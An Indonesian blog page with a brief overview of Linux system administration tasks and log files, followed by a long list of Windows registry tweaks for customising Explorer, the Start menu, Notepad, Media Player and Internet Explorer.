Seorang administrator sistem harus mengetahui apa saja yang sedang terjadi pada sistem anda. Hal-hal yang umum untuk diketahui adalah:Proses apa saja yang sedang berjalan pada saat tersebut, dan juga detilnya seperti pemilik proses, pemakaian CPU, pemakaian memori dan sebagainya. Untuk mendapatkan informasi ini, seorang sysadmin dapat menggunakan perintah ps, pstree, gtop atau ktop. Siapa saja yang sedang login pada saat itu. Informasi ini dapat didapat dari perintah who. Siapa saja yang memasuki sistem beberapa waktu terakhir. Dapat dilihat dari perintah last Melihat keadaan ruang harddisk. Dapat dilihat dari output perintah df. Melihat kapan user tertentu terakhir login. Dapat dilihat dari perintah finger atau last.


Memonitor File-file Log 

Linux memiliki mekanisme untuk mencatat kejadian-kejadian penting. Kejadian-kejadian tersebut dicatat ke file-file log tertentu. Pada kebanyakan distribusi Linux, biasanya file log disimpan di dalam direktori /var/log atau /var/adm. Fasilitas pencatatan tidak menulis kejadian pada sebuah file, tapi ke beberapa file sesuai dengan kategorinya. Sebagai contoh pada distribusi RedHat atau Mandrake terdapat file-file di bawah ini:
/var/log/cron, mencatat semua kegiatan cron (utilitas untuk menjalankan program secara periodik)
/var/log/httpd/*, mencatat akses ke web server
/var/log/maillog, mencatat segala hal yang berhubungan dengan email
/var/log/messages, mencatat segala hal yang tidak termasuk pada file log lainnya.
/var/log/news/*, mencatat segala hal yang berhubungan dengan news server
/var/log/samba/*, mencatat hal-hal yang berhubungan dengan file server samba
/var/log/secure, mencatat hal-hal yang berhubungan dengan keamanan sistem
/var/log/spooler, mencatat hal-hal yang berhubungan dengan pencetakan
/var/log/xferlog, mencatat transfer file melalui FTP.


File-file yang penulis sebutkan di atas adalah file teks biasa, dan dapat dilihat dengan menggunakan utilitas teks biasa, misalnya gunakan perintah tail -f /var/log/messages untuk melihat perkembangan pada sistem anda.


Memperbaiki Keamanan Sistem 

Mungkin tugas yang paling berat dari seorang sysadmin, terutama yang bertanggung jawab untuk sistem yang terhubungkan pada Internet adalah masalah keamanan sistem. Untuk ini seorang sysadmin dituntut untuk memiliki kesadaran lebih tinggi dalam masalah keamanan. Sistem operasi Linux berkembang dengan kecepatan yang sangat tinggi, berbeda dengan sistem operasi lain yang closed source. Terkadang, hanya beberapa menit setelah masalah keamanan ditemukan, sudah dibuatkan patch-nya. Supaya seorang sysadmin mendapat informasi secepat mungkin, ia harus secara periodik mencek tatus keamanan dari vendor Linux yang dia gunakan.


Berikut adalah halaman security dari beberapa vendor Linux: 

RedHat Linux, http://www.redhat.com/support/updates.html
Linux Mandrake, ttp://www.linux-mandrake.com/en/security.php3
Caldera OpenLinux, http://support.calderasystems.com/
Debian GNU/Linux, http://www.debian.org/security/
SuSE Linux, http://www.suse.de/security/index.html
LinuxPPC, http://www.linuxppc.com/security/
YellowDog, http://www.yellowdoglinux.com/resources/errata.shtml

Utilitas Interaktif untuk Administrasi Sistem Beberapa distribusi Linux menyertakan utilitas untuk mempermudah konfigurasi sistem. Utilitas ini sangat mempermudah bagi anda yang cuma ingin memakai Linux, dan tidak punya banyak waktu untuk melakukan konfigurasi. Berikut adalah daftar utilitas tersebut untuk beberapa distribusi terkemuka.

RedHat Linux: linuxconf
Linux Mandrake: linuxconf atau drakxconf
SuSE Linux: yast
Caldera OpenLinux: coas atau lisa

Utilitas tersebut berguna bagi anda yang baru memakai Linux atau yang tidak punya banyak waktu. Namun bagi anda yang ingin melakukan kustomisasi terhadap sistem, mungkin akan lebih berguna jika anda langsung mengedit file konfigurasi dari program yang anda kustomisasi.Sebuah sistem komputer, tetap membutuhkan perhatian dari manusia supaya dapat berjalan dengan baik. Mungkin sistem tersebut tetap dapat berjalan tanpa harus mendapatkan perhatian penuh dari manusia, namun jika terjadi masalah pada sistem tersebut, peranan manusia tetap diperlukan. Manusia yang bertugas untuk menangani hal ini disebut administrator sistem atau system administrator, disingkat menjadi sysadmin atau admin saja. Dalam artikel ini akan dibahas mengenai administrator sistem dan tugas-tugas apa saja yang harus dilakukannya.




Sekian postingan kali ini.. semoga bermanfaat.
Sumber : Scut .. ( Google )

Wassalamu'alaikum Wr.Wb.

Tips, Trik Registry pada Windows



Assalamu'alaikum Wr.Wb.


Registry Windows adalah hirarkis basis data yang menyimpan pengaturan dan pilihan pada konfigurasi Microsoft Windows sistem operasi . Ini berisi pengaturan untuk komponen tingkat rendah sistem operasi dan aplikasi yang berjalan pada platform yang telah memilih untuk menggunakan Registry. The kernel , driver perangkat , layanan , SAM , user interface dan aplikasi pihak ketiga semua bisa memanfaatkan Registry. Registry juga menyediakan sarana untuk mengakses counter untuk profil kinerja sistem.

Sebelum mengutak-atik Registry, ada baiknya melakukan backup terlebih dahulu.

  1. Klik tombol Start > Run.
  2. Ketik regedit dan tekan Enter setelah berada didalam jendela Run.
  3. Didalam Registry Editor, pilih menu File > Export.
  4. Setelah Export Registry File muncul, masukkan nama file ke bagian File Name, misalnya backup-registry dan sebagainya.
  5. Tekan tombol Save.



  • Mempercepat Update Registry

Tekan tombol Start > Log Off > Log Off.


  • Mengganti Wallpaper

HKEY_CURRENT_USER/Control Panel/Desktop
Klik ganda pada wallpaper dan masukkan path gambar yang diinginkan pada Value Data.


  • Mengganti Nama Recycle Bin

HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}
Klik ganda pada option (Default value) dan beri nama bare sesuai yang diinginkan pada Value Data.


  • Memunculkan Rename Pada Recycle Bin

HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}/ShellFolder
Klik ganda pada Attributes > Edit Binary Value. Pada Value Data, ganti angka tersebut menjadi 0000 50 01 00 20.


  • Menyembunyikan Recycle Bin

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Explorer/Desktop/NameSpace Hapus subkey {645FF040-5081-101B-9F08-00AA002F954E}, kemudian Restart komputer untuk melihat hasilnya. Untuk memunculkannya kembali, buat kembali kombinasi angka
{645FF040-5081-101B-9F08-00AA002F954E}.


  • Menambah Isi Shortcut Menu Pada Recycle Bin

HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}/ShellFolder
Klik ganda Attributes dan ganti angka di Value Data dengan angka berikut ini:
0000 50 01 00 20 > Rename
0000 60 01 00 20 > Delete
0000 70 01 00 20 > Rename & Delete
0000 41 01 00 20 > Copy
0000 42 01 00 20 > Cut
0000 43 01 00 20 > Copy & Cut
0000 44 01 00 20 > Paste
0000 45 01 00 20 > Copy & Paste
0000 46 01 00 20 > Cut & Paste
0000 47 01 00 20 > Cut, Copy & Paste


  • Menambah Isi Shortcut Menu Pada Recycle Bin Dengan Menu Pilihan

HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}/Shell
Klik menu Edit > New > Key dan beri nama yang diinginkan (Misalnya: Go To Windows Explorer).
Dibawah key yang baru tersebut, tekan lagi menu Edit > New > Key dan buat sebuah key baru bernama Command. Klik ganda option (Default), dan pada bagian Value Data, isi dengan path Windows Explorer ( C:\WINDOWS\Explorer.exe).


  • Mengembalikan Folder Documents Yang Hilang Di My Computer

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Explorer/DocFolderPaths.
Pilih menu Edit > New > String Value dan beri nama sesuai dengan username yang digunakan di Windows (contohnya: Chippers) Klik ganda pada value tersebut dan masukkan path tempat dimana Documents anda berada (contohnya D:\Documents)


  • Menyingkirkan File Stored Dari My Computer

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/MyComputer/NameSpace/DelegateFolders
Hapus subkey {59031a47-3f72-44a7-89c5-5595fe6b30ee} dengan menekan tombol Del.


  • Menyembunyikan My Recent Documents

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
Klik menu Edit > New > DWORD Value dan beri nama NoRecentDocsMenu.
Kemudian klik ganda pada DWORD Value tersebut, dan berikan angka 1 untuk mengaktifkannya.


  • Menyembunyikan Menu Find

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
Klik menu Edit > New > DWORD Value dan beri nama NoFind.
Kemudian klik ganda pada DWORD Value tersebut dan berikan angka 1 untuk mengaktifkannya. Restart komputer.


  • Menyembunyikan Help And Support

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
Buatlah sebuah DWORD Value baru - Menu Edit > New > DWORD Value, dan beri nama NoSMHelp.
Kemudian klik ganda pada NoSMHelp dan isi dengan angka 1 pada Value Data. Restart komputer.


  • Menyembunyikan Menu Run

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
Buat sebuah DWORD Value baru dan beri nama NoRun. Klik ganda dan masukkan angka 1 sebagai Value Data.


  • Menyembunyikan Menu Run Dari Start Menu (2)

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced
Cari value bernama Start_ShowRun, klik ganda dan masukkan angka 0 pada bagian Value Data.



  • Menyembunyikan Log Off

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
Klik menu Edit > New > Binary Value dan beri nama NoLogOff.
Klik ganda pada NoLogOff dan masukkan angka 01 00 00 00 pada bagian Value Data.


  • Menyembunyikan Menu Turn Off Computer

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
Klik menu Edit > New > DWORD Value dan beri nama NoClose.
Klik ganda NoClose dan beri angka 1 pada Value Data.


  • Cleartype Pada Logon Screen

HKEY_USERS/.DEFAULT/Control Panel/Desktop
Klik ganda FontSmoothingType dan masukkan angka 2 pada Value Data.


  • Membuat Tampilan Berbeda Pada Jendela Logon

HKEY_USERS/.DEFAULT/Software/Microsoft/Windows/CurrentVersion/ThemeManager
Klik ganda ColorName dan masukkan teks Metallic pada Value Data.


  • Menampilkan Administrator Di Welcome Screen

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t
Buat sebuah DWORD Value baru dan beri nama Administrator.
Klik ganda Administrator dan masukkan angka 1 pada Value Data.


  • Login Otomatis

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows
NT/CurrentVersion/Winlogon

  1. Klik ganda AltDefaultUserName dan masukkan username account yang dipilih.
  2. Klik ganda AutoAdminLogon dan masukkan angka 1 pada Value Data.
  3. Buat sebuah DWORD Value baru dan beri nama DefaultPassword.
  4. Klik ganda DefaultPassword dan masukkan password account yang dipilih pada Value Data.



  • Menyembunyikan Ikon Printer & Faxes dari Start Menu

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced
Cari value bernama Start_ShowPrinters dan berikan angka 0 pada Value Data.


  • Menyembunyikan Control Panel Dari Start Menu

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced
Cari value bernama Start_ShowControlPanel dan klik ganda pada bagian tersebut.
Masukkan angka 0 pada Value Data.


  • Menyembunyikan Menu My Pictures Dari Start Menu

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced
Klik ganda pada Start_ShowMyPics dan masukkan angka 0 pada bagian Value Data.


  • Memunculkan Menu Administrative Tools

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced
Klik ganda pada StartMenuAdminTools dan berikan angka 1 pada Value Data.


  • Memperkecil Ikon Start Menu

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced
Klik ganda pada Start_LargeMFUIcons dan masukkan angka 1 pada Value Data.


  • Menghilangkan Username Pada Start Menu

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Pilih Edit > New > DWORD Value dan beri nama NoUserNameInStartMenu.
Klik ganda NoUserNameInStartMenu dan masukkan angka 1 pada Value Data.


  • Mencegah Perubahan Menu Start

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
Buat sebuah DWORD Value baru dan beri nama NoChangeStartMenu.
Klik ganda NoChangeStartMenu dan masukkan angka 1 pada Value Data.



  • Menyembunyikan My Recent Documents

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced
Klik ganda pada Start_ShowRecentDocs dan masukkan angka 0 pada Value Data.


  • Mengubah Nama Default Shortcut Penting Di Desktop

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/CLSID
Klik ganda pada default value pada masing-masing subkey di bawah ini:

  1. My Network Places:
    {208D2C60-3AEA-1069-A2D7-08002B30309D}
  2. My Computer:
    {20D04FE0-3AEA-1069-A2D8-08002B30309D}
  3. My Documents:
    {450D8FBA-AD25-11D0-98A8-0800361B1103}
  4. Recycle Bin:
    {645FF040-5081-101B-9F08-00AA002F954E}
  5. Default IE Icon:
    {871C5380-42A0-1069-A2EA-08002B30309D}

masukkan nama-nama unik sebagai pengganti nama defaultnya.


  • Menyembunyikan Ikon Di Desktop

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced
Klik ganda pada HideIcons dan masukkan angka 1 pada Value Data.


  • Membersihkan Semua Ikon Pada Desktop

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
Buat sebuah DWORD Value baru dan beri nama NoDesktop.
Klik ganda pada NoDesktop dan masukkan angka 1 pada Value Data.


  • Membuat Desktop Lebih Stabil

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer
Buat sebuah DWORD Value baru dan beri nama DesktopProcess.
Klik ganda DesktopProcess dan masukkan angka 1 pada Value Data.


  • Menghapus Daftar Program Dalam Menu Run

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/RunMRU
Di jendela sebelah kanan, akan terlihat deretan software-software (ditandai secara alphabet a, b, c, d, dan seterusnya).
Untuk menghapusnya, cukup dengan memilih salah satu (atau semua) nama program yang ada dan tekan tombol Del.
Jika muncul jendela konfirmasi untuk penghapusan data, tekan Yes.


  • Membersihkan Recent Documents

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
Buat sebuah DWORD Value baru dan beri nama NoRecentDocsHistory.
Klik ganda pada NoRecentDocsHistory dan masukkan angka 1 pada bagian Value Data.


  • Menghilangkan Info Tip Pada Ikon Folders Di Desktop

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced
Klik ganda pada FolderContentsInfoTip dengan angka 0.


  • Mengunci Taskbar

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced
Klik ganda pada TaskBarSizeMove dan masukkan angka 0 pada Value Data.


  • Menghapus Past Items Icons Pada Taskbar

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\TrayNotify Hapus IconStreams dan PastIconsStream, kemudian buka Task
Manager, pada Tab Processes klik kanan pada explorer.exe dan pilih End Process.
Klik menu File > New Task (Run) dan ketikan kembali explorer dan tekan OK.


  • Menyembunyikan System Tray

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Jika key Explorer belum ada buatlah sebuah DWORD Value bare dan beri nama NoTrayItemsDisplay.
Klik ganda NoTrayItemsDisplay dan masukkan angka 1 pada Value Data.
Untuk mengembalikan System Tray masukkan angka 0 pada Value Data.


  • Menonaktifkan Klik-kanan Pada Desktop

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
Buat sebuah DWORD Value baru dan beri nama NoViewContextMenu.
Klik ganda pada NoViewContextMenu dan masukkan angka 1 pada Value Data.


  • Mengubah Waktu Delay Ketika Membuka Menu

HKEY_CURRENT_USER/Control Panel/Desktop
Klik ganda pada MenuShowDelay dan ubah angka milidetik yang semula 400 menjadi angka lain. Semakin kecil semakin cepat.


  • Mengatur Ukuran Ikon Di Desktop Dan Start Menu

HKEY_CURRENT_USER/Control Panel/Desktop/WindowMetrics
Klik ganda pada Shell Icon Size dan ubah angka 32 menjadi angka lainnya, misalnya 10.


  • Mengganti Warna Windows

HKEY_CURRENT_USER/Control Panel/Colors
Klik ganda Window dan masukkan kombinasi warna RGB (gunakan
Adobe PhotoShop untuk menemukan kombinasi warna yang sesuai).


  • Mengganti Warna Teks Dalam Windows

HKEY_CURRENT_USER/Control Panel/Colors
Klik ganda WindowText dan masukkan kombinasi warna RGB.


  • Menghilangkan Tab Screen Saver

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/System
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System
Buat sebuah DWORD Value baru dan beri nama NoDispScrSavPage.
Klik ganda NoDispScrSavPage dan masukkan angka 1 pada Value Data.


  • Mengganti Screen Saver Lewat Registry

HKEY_CURRENT_USER/Control Panel/Desktop
Klik ganda SCRNSAVE.EXE kemudian masukkan path tempat file Screen Saver yang diinginkan. Contoh: C:\WINDOWS\ScreenSaver.scr


  • Menonaktifkan Default Screen Saver

HKEY_USERS/.DEFAULT/Control Panel/Desktop
Klik ganda ScreenSaveActive dan masukkan angka 0 pada Value Data.
Untuk mengembalikannya masukkan angka 1 pada Value Data.


  • Menghilangkan Tanda Anak Panah Pada Ikon Shortcut

HKEY_CLASSES_ROOT/Inkfile
HKEY_CLASSES_ROOT/piffile
Ubah nama IsShortcut menjadi IsShortcuts.


  • Mengubah Style Wallpaper

HKEY_CURRENT_USER/Control Panel/Desktop Klik ganda pada WallpaperStyle dan masukkan angka sebagai berikut di Value Data:
1 > Center
2 > Stretch
3 > Tile


  • Menonaktifkan Peringatan Low Disk Space

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies\Explorer
Buatlah sebuah DWORD Value baru dan beri nama NoLowDiskSpaceChecks.
Klik ganda NoLowDiskSpaceChecks dan masukkan angka 1 pada Value Data.


  • Menonaktifkan Menu Properties My Computer


  1. HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
  2. Buat sebuah DWORD Value baru dan beri nama NoPropertiesMyComputer.
  3. Klik ganda NoPropertiesMyComputer dan masukkan angka 1 pada Value Data.
  4. HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
  5. Buat sebuah DWORD Value baru dan beri nama NoPropertiesMyComputer.
  6. Klik ganda NoPropertiesMyComputer dan masukkan angka 1 pada Value Data.
  7. Jika key Explorer tidak ada, buat yang baru dengan mengklik menu Edit > New > Key dan beri nama Explorer.



  • Mengubah Ukuran CoolSwitch

(Coba Tekan Alt+Tab, itulah yang disebut dengan CoolSwitch)

  1. HKEY_CURRENT_USER/Control Panel/Desktop
  2. HKEY_USERS/.DEFAULT/Control Panel/Desktop
  3. Klik CoolSwitchColumns dan aturlah seberapa panjang CoolSwitch
  4. ini akan ditampilkan dengan memasukkan angka yang diinginkan pada Value Data.
  5. Kemudian klik CoolSwitchRows dan lakukan hal yang serupa.



  • Menonaktifkan Fungsi CoolSwitch

HKEY_CURRENT_USER/Control Panel/Desktop
HKEY_USERS/.DEFAULT/Control Panel/Desktop
Klik ganda pada CoolSwitch dan masukkan angka 0.


  • Menonaktifkan Animasi Pada Windows XP

HKEY_CURRENT_USER/Control Panel/Desktop/WindowMetrics
Klik ganda pada MinAnimate dan masukkan angka 1 untuk menonaktifkan, dan 0 untuk mengaktifkannya kembali.


  • Mengubah Tombol Kiri Menjadi Tombol Kanan Pada Mouse

HKEY_CURRENT_USER/Control Panel/Mouse
Klik ganda pada SwapMouseButtons dan beri angka 1 pada Value Data.


  • Mengubah Gulungan Baris Pada Scroll Mouse

HKEY_CURRENT_USER/Control Panel/Desktop
Klik ganda WheelScrollLines masukkan angka yang diinginkan (sesuai dengan baris yang hendak digulung) pada Value Data.


  • Menyembunyikan System Properties Pada Control Panel

HKEY_CURRENT_USER/Control Panel/don't load
Buatlah sebuah String Value baru dan beri nama sysdm.cpl.
Klik ganda sysdm.cpl dan masukkan input Yes pada bagian Value Data.


  • Menonaktifkan Display Properties

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies
Pada bagian subkey Policies, buat sebuah key baru dengan carat Edit > New > Key dan beri nama System.
Kemudian di subkey System, buatlah sebuah DWORD Value baru dan beri nama NoDispCPL.
Klik ganda NoDispCPL dan masukkan angka 1 pada Value Data.


  • Mengatur Kecepatan Repeat Rate Keyboard

HKEY_CURRENT_USER/Control Panel/Keyboard
Klik ganda KeyboardSpeed dan masukkan nilai yang diinginkan. Semakin tinggi angkanya, semakin cepat pula Repeat Rate-nya.


  • Teks Bergaris Bawah Pada Notepad

HKEY_CURRENT_USER/Software/Microsoft/Notepad
Klik ganda lfUnderline dan masukkan angka 1 pada Value Data.


  • Mode Word Wrap Pada Notepad

HKEY_CURRENT_USER/Software/Microsoft/Notepad
Klik ganda fWrap dan masukkan angka 1 pada Value Data.


  • Status Bar Pada Notepad

HKEY_CURRENT_USER/Software/Microsoft/Notepad
Klik ganda StatusBar dan masukkan angka 1 pada Value Data.


  • DVD Di Windows Media Player

HKEY_CURRENT_USER/Software/Microsoft/MediaPlayer/Player/Settings
Pilih menu Edit > New > String Value dan beri nama DVDUI.
Klik ganda DVDUI dan masukkan teks Yes pada Value Data.


  • Menambah Identitas Windows Media Player


  1. HKEY_CURRENT_USER/Software/Policies/Microsoft
  2. HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows
  3. Klik Edit > New > Key dan beri nama WindowsMediaPlayer.
  4. Klik Edit > New > String Value dan beri nama TitleBar.
  5. Klik ganda TitleBar dan masukkan teks yang diinginkan pada Value Data.



  • Mengubah Tombol Stop Menjadi Tombol Play Pada Windows Media Player

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/MediaPlayer/Objects/StopButton
Klik ganda onclick dan masukkan teks player.controls.play() pada Value Data.


  • Memilih Pemutar CD Audio Default

HKEY_CLASSES_ROOT/AudioCD/Shell/Play/Command
Klik ganda (Default) dan masukkan path software yang anda
inginkan sebagai pemutar CD Audio secara default.
Misalnya: C:\Program Files\Windows Media Player\wmplayer.exe


  • Mengembalikan Akses Ke CD-ROM

Setelah menguninstall sebuah program pembakar CD, adakalanya CD-ROM tidak bisa lagi diakses, solusinya:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro
l\Class\{4D36E965-E325-11CE-BFC1-08002BE10318}
Hapus subkey LowerFilters dan UpperFilters dengan menekan tombol Del.


  • Memperkecil Ukuran Thumbnail Untuk Windows Explorer

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer
Pilih menu Edit > New > Binary Value dan beri nama ThumbnailSize.
Klik ganda ThumbnailSize dan masukkan angka 20 pada Value Data.


  • Membuat Shortcut Menu Pribadi Di Windows Explorer

HKEY_CLASSES_ROOT/Drive/Shell

  1. Pilih Edit > New > Key dan beri nama Winamp sebagai contohnya.
  2. Klik ganda option (Default) disisi kanan registry editor dan masukkan teks Winamp.
  3. Klik subkey Winamp dan pilih menu Edit > New > Key dan beri nama Command.
  4. Klik ganda option (Default) dan masukkan path C:\Program
  5. Files\Winamp\Winamp.exe pada Value Data.



  • Enkripsi Melalui Menu Konteks

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced
Buat sebuah DWORD Value baru dan beri nama EncryptionContextMenu.
Klik ganda EncryptionContextMenu dan masukkan angka 1 pada Value Data.


  • Mengganti Ikon Pada Drives

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Jika belum ada, pilih Edit > New > Key dan beri nama sesuai dengan drive yang diinginkan [contohnya: C untuk drive C:]
Pada value tersebut, buat sebuah Key baru lagi dan beri nama Default Icon.
Klik ganda option (Default) dan masukkan path tempat ikon berada (contohnya: D:\Documents\C Drive Icon.ico)


  • Menyembunyikan Drive

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
Pilih Edit > New > DWORD Value dan beri nama NoDrives.
Klik ganda NoDrives dan tentukan drive mana yang ingin dihilangkan pada Value Data.
Contoh: jika ingin menghilangkan drive E:, masukkan angka 16 pada Value Data.
Kombinasi angka pada Value Data adalah sebagai berikut:
A: > 1
B: > 2
C: > 4
D: > 8
E: > 16
F: > 32
G: > 64
H: > 128
I: > 256
J: > 512
K: > 1024
L: > 2048
M: > 4096
Semua: > 67108863


  • Membuat Tip Of The Day Windows Explorer


  1. Untuk mengaktifkannya buka Windows Explorer kemudian pilih menu View > Explorer Bar > Tip of the Day.
  2. HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Tips
  3. Di jendela sebelah kanan akan terlihat deretan tip-tip yang tersimpan dalam value 0 - 49.
  4. Dua hal yang bisa dilakukan adalah mengganti tip-tip yang dengan klik ganda masing-masing value dengan teks yang diinginkan.
  5. Kedua adalah menambah tip-tip baru dimulai dengan urutan setelah value 49 (misalnya 50 dst.).
  6. Pilih Edit > New > String Value dan beri nama berbentuk angka yang melanjutkan angka terakhir pada tip (misalnya 50 dst.).
  7. Klik ganda pada value yang baru tersebut dan isikan dengan teks yang diinginkan pada Value Data.



  • Menyembunyikan Advanced Settings Pada Folder Options Windows Explorer

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer
Dibawah key Explorer akan ditemukan subkey bernama Advanced.
Klik kanan dan pilih Rename. Ubah nama Advanced menjadi Advancedx.


  • Kode Curang Bermain Game Hearts


  1. HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Applets
  2. Klik menu Edit > New > Key dan beri nama Hearts.
  3. Klik menu Edit > New > String Value dan beri nama ZB dan isikan angka 42 pada Value Data.
  4. Buka game Hearts pada Start Menu > All Programs > Games.
  5. Setelah memasukkan nama pemain, tekan kombinasi tombol berikut:
  6. Ctrl+Shift+Alt+F12 dan semua kartu akan terbuka.



  • Membersihkan Sampah Registry

HKEY_CLASSES_ROOT/Application
HKEY_CURRENT_USER/Software
HKEY_LOCAL_MACHINE/SOFTWARE
Pilih salah satu subkey yang merupakan nama software yang ingin dihapus, kemudian tekan tombol Del.


  • Membersihkan Sampah Uninstall

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Uninstall
Hapus subkey yang memiliki nama yang sama dengan software yang telah di-uninstall.


  • Menghapus Daftar Program Yang Tidak Diinginkan Dari Add/Remove Programs

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\
CurrentVersion\ Uninstall
Hapus subkey yang berisikan program yang tidak diinginkan dengan menekan tombol Del.


  • Menjalankan Program Saat StartUp

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
Pilih menu Edit > New > String Value dengan nama Winamp misalnya.
Klik ganda pada value tersebut dan masukkan path tempat program tersebut terinstall (C:\Program Files\Winamp\Winamp.exe).


  • Menghapus StartUp Items Di MSCONFIG


  1. Klik Start > Run > ketik msconfig, kemudian klik pada tab startup, hilangkan tanda centang pada program yang ingin dihapus dari daftar startup.
  2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  3. HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  4. Hapus subkey yang berisikan program-program yang tidak diinginkan dengan menekan tombol Del.



  • Mempercepat Proses Shutdown Windows XP

HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control
Klik ganda WaitToKillServiceTimeout dan ubah nilainya menjadi lebih rendah dari 2000.


  • Mengganti AM Dan PM Menjadi Pagi Dan Sore

HKEY_CURRENT_USER/Control Panel/International
Klik ganda s1159 dan ubah teks AM dengan PAGI.
klik ganda s2359 dan ubah teks PM dengan SORE.


  • Menonaktifkan Fungsi AutoRun

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
Klik ganda NoDriveTypeAutoRun dan masukkan angka 95 pada Value Data.


  • Mematikan Secara Otomatis Program Not Responding

HKEY_USERS/.DEFAULT/Control Panel/Desktop
Klik ganda AutoEndTasks dan masukkan angka 1 pada Value Data.


  • Memunculkan Option My Computer Yang Tersembunyi

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Internet Settings/Zones/0
Klik ganda Flags kemudian ganti menjadi Decimal dan masukkan angka 1 pada Value Data.


  • Menonaktifkan Fungsi New Window Di Internet Explorer

HKEY_CURRENT_USER/Software/Policies/Microsoft/Internet Explorer/Restrictions
Buat sebuah DWORD Value baru dan beri nama NoOpeninNewWnd.
Klik ganda NoOpeninNewWnd dan masukkan 1 pada Value Data.


  • Mengganti Background Toolbar Internet Explorer

HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Toolbar
Pilih menu Edit > New > String Value dan beri nama BackBitmap.
Klik ganda BackBitmap dan isikan dengan path tempat Gambaro bitmap (.bmp) yang akan menjadi background toolbar berada pada Value Data.
Contohnya: C:\WINDOWS\Wallpaper.bmp


  • Mengganti Versi Internet Explorer

Untuk mengetahui versi Internet Explorer yang dimiliki: Help > About Internet Explorer pada browser Internet Explorer.
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer
Klik ganda Version dan masukkan angka yang diinginkan pada Value Data.


  • Mengecek ProductID Internet Explorer

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Registration
Lihat ProductID pada key ProductId, pada value tersebut akan tercatat berapa ProductID Internet Explorer yang digunakan.


  • Mode Full Screen Pada Internet Explorer

HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main
